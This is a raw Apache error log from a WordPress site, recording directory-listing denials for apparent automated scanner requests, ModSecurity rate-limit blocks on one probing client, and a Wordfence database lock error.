[Sat Nov 22 05:21:51.889040 2025] [autoindex:error] [pid 25856:tid 25865] [client 194.5.82.155:39281] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:21:52.040842 2025] [autoindex:error] [pid 25856:tid 25873] [client 194.5.82.155:39281] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:21:52.164062 2025] [autoindex:error] [pid 25856:tid 25866] [client 194.5.82.155:39281] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:21:52.543718 2025] [autoindex:error] [pid 53566:tid 53588] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:21:52.744937 2025] [autoindex:error] [pid 53566:tid 53576] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:21:52.854204 2025] [autoindex:error] [pid 53566:tid 53586] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:21:52.977516 2025] [autoindex:error] [pid 53566:tid 53585] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:21:53.092302 2025] [autoindex:error] [pid 53566:tid 53577] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:21:53.305218 2025] [autoindex:error] [pid 53566:tid 53591] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:21:56.152881 2025] [autoindex:error] [pid 53566:tid 53576] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:21:59.963403 2025] [autoindex:error] [pid 53566:tid 53575] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:22:00.292182 2025] [autoindex:error] [pid 53566:tid 53587] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:22:00.440102 2025] [autoindex:error] [pid 53566:tid 53577] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:22:04.079534 2025] [autoindex:error] [pid 53566:tid 53582] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:22:06.099137 2025] [autoindex:error] [pid 53566:tid 53572] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:22:09.776542 2025] [autoindex:error] [pid 53566:tid 53569] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:22:09.881853 2025] [autoindex:error] [pid 53566:tid 53591] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:22:09.987082 2025] [autoindex:error] [pid 53566:tid 53572] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:22:20.256676 2025] [autoindex:error] [pid 53566:tid 53584] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:22:21.963779 2025] [autoindex:error] [pid 53566:tid 53587] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:22:22.061637 2025] [autoindex:error] [pid 53566:tid 53577] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:22:22.377309 2025] [autoindex:error] [pid 53566:tid 53570] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:22:22.474123 2025] [autoindex:error] [pid 53566:tid 53589] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:22:22.571565 2025] [autoindex:error] [pid 53566:tid 53575] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:23:14.294829 2025] [autoindex:error] [pid 53566:tid 53584] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:23:14.396930 2025] [autoindex:error] [pid 53566:tid 53576] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:23:14.494745 2025] [autoindex:error] [pid 53566:tid 53583] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:23:14.606144 2025] [autoindex:error] [pid 53566:tid 53580] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:23:20.154984 2025] [autoindex:error] [pid 53566:tid 53578] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:23:21.896625 2025] [autoindex:error] [pid 53566:tid 53581] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:23:21.993798 2025] [autoindex:error] [pid 53566:tid 53590] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:23:22.092373 2025] [autoindex:error] [pid 53566:tid 53573] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:23:23.876879 2025] [autoindex:error] [pid 53566:tid 53586] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:23:23.981073 2025] [autoindex:error] [pid 53566:tid 53588] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:23:24.084024 2025] [autoindex:error] [pid 53566:tid 53579] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:23:24.179923 2025] [autoindex:error] [pid 53566:tid 53581] [client 194.5.82.143:61267] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:24:05.527155 2025] [autoindex:error] [pid 53479:tid 53536] [client 194.5.82.145:45345] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:24:25.152669 2025] [autoindex:error] [pid 53479:tid 53553] [client 194.5.82.145:45345] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:24:31.797445 2025] [autoindex:error] [pid 53479:tid 53554] [client 194.5.82.145:45345] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:24:31.901700 2025] [autoindex:error] [pid 53479:tid 53559] [client 194.5.82.145:45345] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:24:39.870874 2025] [autoindex:error] [pid 53479:tid 53536] [client 194.5.82.145:45345] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:24:39.969924 2025] [autoindex:error] [pid 53479:tid 53543] [client 194.5.82.145:45345] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:24:40.072062 2025] [autoindex:error] [pid 53479:tid 53557] [client 194.5.82.145:45345] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:24:40.170821 2025] [autoindex:error] [pid 53479:tid 53551] [client 194.5.82.145:45345] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:24:40.328287 2025] [autoindex:error] [pid 53479:tid 53554] [client 194.5.82.145:45345] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:24:40.479148 2025] [autoindex:error] [pid 53479:tid 53556] [client 194.5.82.145:45345] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:24:40.584639 2025] [autoindex:error] [pid 53479:tid 53553] [client 194.5.82.145:45345] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:24:40.686223 2025] [autoindex:error] [pid 53479:tid 53550] [client 194.5.82.145:45345] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 05:25:12.904848 2025] [autoindex:error] [pid 53479:tid 53551] [client 194.5.82.145:45345] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:56:34.317371 2025] [autoindex:error] [pid 53478:tid 53517] [client 212.116.231.26:59164] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:56:34.742352 2025] [autoindex:error] [pid 53478:tid 53531] [client 212.116.231.26:59164] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:56:35.161747 2025] [:error] [pid 53478:tid 53510] [client 212.116.231.26:59164] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/"] [unique_id "aSDuIwhUYdXBbQswAdQ_jgAAAEE"]
[Sat Nov 22 06:56:35.996514 2025] [:error] [pid 53479:tid 53543] [client 212.116.231.26:59666] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/"] [unique_id "aSDuI26cicFF3Aas-oShHgAAAIc"]
[Sat Nov 22 06:56:36.837417 2025] [:error] [pid 53478:tid 53524] [client 212.116.231.26:59932] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/"] [unique_id "aSDuJAhUYdXBbQswAdQ_owAAAE8"]
[Sat Nov 22 06:56:37.686846 2025] [:error] [pid 53566:tid 53582] [client 212.116.231.26:60264] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/"] [unique_id "aSDuJcbSHDBkRbwMbd5nKQAAAM4"]
[Sat Nov 22 06:56:38.501086 2025] [:error] [pid 9547:tid 9555] [client 212.116.231.26:60700] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/"] [unique_id "aSDuJtClOR5qk7DoMeGlLwAAAUI"]
[Sat Nov 22 11:04:13.541504 2025] [autoindex:error] [pid 53477:tid 53503] [client 139.59.37.180:64634] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Nov 22 12:17:51.319840 2025] [proxy_fcgi:error] [pid 53566:tid 53577] [client 103.4.122.14:55522] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
